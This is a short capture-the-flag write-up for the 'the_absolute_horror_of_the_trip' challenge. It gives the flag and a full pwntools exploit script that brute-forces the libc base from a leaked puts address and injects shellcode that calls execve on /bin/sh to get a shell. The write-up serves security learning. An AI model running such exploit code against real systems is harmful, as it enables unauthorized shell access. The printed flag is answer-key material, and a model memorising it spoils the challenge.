Description

Solution

I solved this challenge the same way I solved the Bad_trip challenge, in fact I used the same script, the intended solution was to load the libc address from the fs register, but anyway if you’re interested to see the solution I used, you can read my detailed writeup here: Bad_trip.

Here’s the flag:

AKASEC{NoW_You_r34lly_H4V3_7o_pr3F37cH3M_li8C_4DDR5}

Full Script

from pwn import *
from random import randint
 
import logging
 
def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
 
gdbscript = '''
init-pwndbg
'''.format(**locals())
 
exe = './the_absolute_horror_of_the_trip'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'warn'
 
libc = ELF("./libc.so.6", checksec=False)
binsh = next(libc.search(b"/bin/sh\x00"))
 
payload_header = asm(f'''
            mov rsp, 0x6969696100;
            mov rbp, 0x6969696120
            mov rsi, 0; 
            mov rdx, 0;  
            ''')
 
def generate_payload_body(base):
    return asm(f'''            
        mov rdi, {hex(base + binsh)}; 
        mov r11, {hex(base + libc.sym["execve"])};  
        call r11;''')
 
with log.progress('Tries', level=logging.WARN) as progress, \
     log.progress('Current libc address', level=logging.WARN) as libc_address_progress:
    tries = 0
    b = 0x49 # selected random byte
 
    while True:
        io = start()
        progress.status(tries)
        tries += 1
 
        leak = int(io.readline().strip().split(b' ')[-1], 16)
 
        libc_address = (0x7f_00_00000000 + (b << 32) + leak) - libc.sym['puts']
        libc_address_progress.status(hex(libc_address))
 
        payload = payload_header + generate_payload_body(libc_address)
 
        io.readuntil(b">>")
        io.sendline(payload)
        io.clean()
 
        io.sendline(b'echo hello there, it is working')
        
        try:
            if len(io.recvuntil(b'working', timeout=1)) > 3:
                break
        except EOFError:
            pass
 
        io.close()
 
io.sendline(b"cat flag.txt")
result = io.clean()
if b'akasec' in result.lower() and b'}' in result:
    print('-'*30)
    print(f'Found flag: {result[:result.index(b"}")+1].decode()}')
io.interactive()